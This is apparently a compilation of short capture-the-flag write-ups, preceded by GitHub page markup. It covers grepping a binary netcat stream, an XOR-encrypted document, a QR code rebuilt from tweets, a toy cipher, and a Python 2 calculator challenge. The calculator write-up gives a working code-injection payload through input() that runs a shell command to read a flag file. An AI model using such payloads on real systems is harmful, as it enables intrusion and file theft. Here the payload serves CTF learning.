src="/SemahBA/ctf_writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":272216113,"originating_url":"https://github.com/SemahBA/ctf_writeups/tree/master/NahamconCTF/Foren/Lucky","user_id":null}}" data-hydro-click-hmac="e639e1d7950de770a4127f02fca7e7f9d7c0f669d8c94f40d730c1716d70eb7f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/SemahBA/ctf_writeups/refs" cache-key="v0:1592144202.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="U2VtYWhCQS9jdGZfd3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/SemahBA/ctf_writeups/refs" cache-key="v0:1592144202.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="U2VtYWhCQS9jdGZfd3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf_writeups</span></span></span><span>/</span><span><span>NahamconCTF</span></span><span>/</span><span><span>Foren</span></span><span>/</span>Lucky<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf_writeups</span></span></span><span>/</span><span><span>NahamconCTF</span></span><span>/</span><span><span>Foren</span></span><span>/</span>Lucky<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/SemahBA/ctf_writeups/tree-commit/7c197679396dfc9ffa07f452fe58b0cfb89c49e7/NahamconCTF/Foren/Lucky" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/SemahBA/ctf_writeups/file-list/master/NahamconCTF/Foren/Lucky"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>grond.sh</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>instruction.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Trying to just pipe to grep results in a useful error, but not the flag.
```root@kali:~# nc jh2i.com 50017 | grep flagBinary file (standard input) matches^C```
Googling this error indicates that adding switch "-a" should help (https://unix.stackexchange.com/a/379755)
Confirming this via man pages -a, --text Process a binary file as if it were text; this is equivalent to the --binary-files=text option.
```root@kali:~# nc jh2i.com 50017 | grep -a "flag"� W�tiz�]�N�P?X���o�۔7��d�z��M����ZnAm��?�"��C0flag{more_text_in_the_vortex} {q�/��z�7�9�d��.������;���$�����o����_����_PD0+A�!��d��U��Ѹk�E9q�L}#{ݽ��qLFA�������q3�T��{�1)�Y2Mc���5�G�?�j�nI������]��^p�M3�J�,�X��c�'���1�q���Q���s�LjO���)>��)�Aȝ��=�=�\s��ܬ��ٝjHτ�%d�S���@"�p���`Ų�ڵ��"���#��<xVы�L��_�> ����M�����DNސ�De~$���]���D4�4=Q��˅r*��_͢�k]��eb���$��Hߛ���~�R��c��f�`a��kWԝ��퐹����ۍ�%S��K�BU ��,S����^C```
Googling again indicates that strings can be used convert the binary to text whcih means we can grep without the "-a" or "--text" switches (https://serverfault.com/a/328103)
```root@kali:~# nc jh2i.com 50017 | strings | grep "flag" flag{more_text_in_the_vortex}>D^C``` |
# My First Calculator
Author: [roerohan](https://github.com/roerohan)
Exploit a python 2 vulnerability.
# Requirements
- Python 2
# Source
- [calculator.py](./calculator.py)
```I'm really new to python. Please don't break my calculator!
nc misc.hsctf.com 7001
There is a flag.txt on the server.
Author: meow```
```python#!/usr/bin/env python2.7
try: print("Welcome to my calculator!") print("You can add, subtract, multiply and divide some numbers")
print("")
first = int(input("First number: ")) second = int(input("Second number: "))
operation = str(raw_input("Operation (+ - * /): "))
if first != 1 or second != 1: print("") print("Sorry, only the number 1 is supported")
if first == 1 and second == 1 and operation == "+": print("1 + 1 = 2") if first == 1 and second == 1 and operation == "-": print("1 - 1 = 0") if first == 1 and second == 1 and operation == "*": print("1 * 1 = 1") if first == 1 and second == 1 and operation == "/": print("1 / 1 = 1") else: print(first + second)except ValueError: pass
```
# Exploitation
The code for the `calculator.py` file uses `input()` in python 2. The `input()` function in python 2 is vulnerable, since it does not stringify the input, instead takes it as it is. For example, if you were to pass `__import__('os')`, it would be executed. So, here's the payload:
```bashWelcome to my calculator!You can add, subtract, multiply and divide some numbers
First number: __import__('os').system('cat /flag.txt')flag{please_use_python3}```
You can search around in the directories to find the flag using `ls`, etc. The flag is eventually found in the `/` directory. The flag is:
```flag{please_use_python3}``` |
Given an encrypted document and the length of the key used (4).
Name of challenge hints at xor.
Use [xortool](https://github.com/hellman/xortool) to brute force the possible keys of length 4.
* Feed `-c '\x00'` as most common character as well, guessing that the document is a txt document.
Turns out decrypting as not "95%+ valid english plaintext", but the document is actually decoded; just doesn't seem so to XORtool because it's a word doc. Open the one resultant file manually as a word doc and see the flag.
[See full writeup for more details](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#docxor) |
Summary:* Given twitter account
Visit twitter account to see a bunch of tweets in the form "Tweet #xxx yyy" where xxx and yyy are different numbers.
Manually scrolling through, seems that the tweets will need to be parsed and sorted in order of Tweet #xxx.
Used [getoldtweets3](https://pypi.org/project/GetOldTweets3/) to scrape twitter (no API/auth token needed, no twitter account needed).
```GetOldTweets3 --username "BigBird01558595" --maxtweets 1000Downloading tweets...Saved 402Done. Output file generated "output_got.csv".```
Format fetched tweets to only containt "Tweet #xxx yyy" (and not any of the other data getoldtweets3 fetches)
```cat output_got.csv | sed 's/,/\t/g' | awk -F$'\t' '{print $7}' | sed 's/"//g'Tweet #168 12Tweet #274 72Tweet #23 111Tweet #376 63...```
Sorted (in python):
```with open('big_bird_tweets.txt', 'r') as infile: tweets = infile.readlines()
tweets.sort(key = lambda x: int(x.split()[1][1:]))```
Gives:
```Tweet #0 137Tweet #1 80Tweet #2 78Tweet #3 71Tweet #4 13Tweet #5 10Tweet #6 26Tweet #7 10Tweet #8 0Tweet #9 0Tweet #10 0...```
You'll notice that those decimal values [line up with the initial magic bytes of a PNG file](https://en.wikipedia.org/wiki/List_of_file_signatures).
Once sorted in order of tweet number, store the yyy value of each tweet in order as a left-padded hexadecimal number to length two.
Store the resultant hex string as binary in a `.png` file and open to see it;s a QR code.
Scan QR code using an [online reader](https://online-barcode-reader.inliteresearch.com/) for the flag.
[See full writeup for more details](https://bigpick.github.io/TodayILearned/articles/2020-06/nahamConCTF-writeups#big-bird) |
# B007l3G CRYP70
> While doing a pentest of a company called MEGACORP's network, you find these numbers laying around on an FTP server: > `41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34`> > Through further analysis of the network, you also find a network service running. Can you piece this information together to find the flag?> > Challenge instance ready at 88.198.219.20:26071.
## Description
When connecting to the resource given, we can encrypt some data.

This is an encryption oracle, which enables us to understand how the cipher works. First we remark that a single character is encrypted using 4 integers. Moreover, encryption is not deterministic (see that `a` has several ciphertexts). Also, encrypting a 2 letter plaintext gives 8 integers in the ciphertext, so probably characters are encrypted one by one.
The next thing to look at is to find similarities between ciphertexts corresponding to the same ciphertext. Here I have remarked that all ciphertexts for `a` give the same sum.
## Solution
Once I am there, deducing the actual cipher is easy: the sum of the four integers correspond to the complementary of the ASCII character. The following Python code recovers the flag:
```pythonct = "41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34"ciphertext = [int(s) for s in ct.split(" ")]
pt = []for i in range(0, len(ciphertext), 4): pt.append(255 - ciphertext[i] - ciphertext[i+1] - ciphertext[i+2] - ciphertext[i+3])print("".join([chr(c) for c in pt]))```
Flag: `ractf{d0n7_r0ll_y0ur_0wn_cryp70}` |
